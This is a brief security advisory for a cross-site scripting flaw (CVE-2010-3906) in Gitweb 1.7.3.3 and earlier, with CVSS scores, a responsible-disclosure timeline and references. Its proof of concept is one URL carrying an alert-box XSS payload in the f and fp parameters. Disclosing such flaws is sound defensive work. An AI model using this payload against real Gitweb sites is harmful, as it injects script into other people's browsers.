Gitweb <=1.7.3.3 Cross Site Scripting

2010-12-20 / 2010-12-21
Credit: emgent
Risk: Low
Local: No
Remote: Yes
CWE: CWE-79


CVSS Base Score: 4.3/10
Impact Subscore: 2.9/10
Exploitability Subscore: 8.6/10
Exploit range: Remote
Attack complexity: Medium
Authentication: No required
Confidentiality impact: None
Integrity impact: Partial
Availability impact: None

>-8 Description 8-< Cross-site scripting (XSS) vulnerability in Gitweb 1.7.3.3 and previous versions allows remote attackers to inject arbitrary web script or HTML code via f and fp variables. >-8 Proof Of Concept 8-< http://localhost/?p=foo/bar/ph33r.git;a=blobdiff;f=[XSS];fp=[XSS] [XSS] => "><body onload="alert('xss')"> <a >-8 Credits 8-< Emanuele 'emgent' Gentili <e.gentili@tigersecurity.it> >-8 Responsible Disclosure 8-< 13-12-2010 Initial contact with upstream and vendor-sec 13-12-2010 Vendor Response and CVE-2010-3906 assignation 15-12-2010 Public Disclosure

References:

http://www.securityfocus.com/bid/45439
http://www.mandriva.com/security/advisories?name=MDVSA-2010:256
http://www.exploit-db.com/exploits/15744
http://secunia.com/advisories/42645


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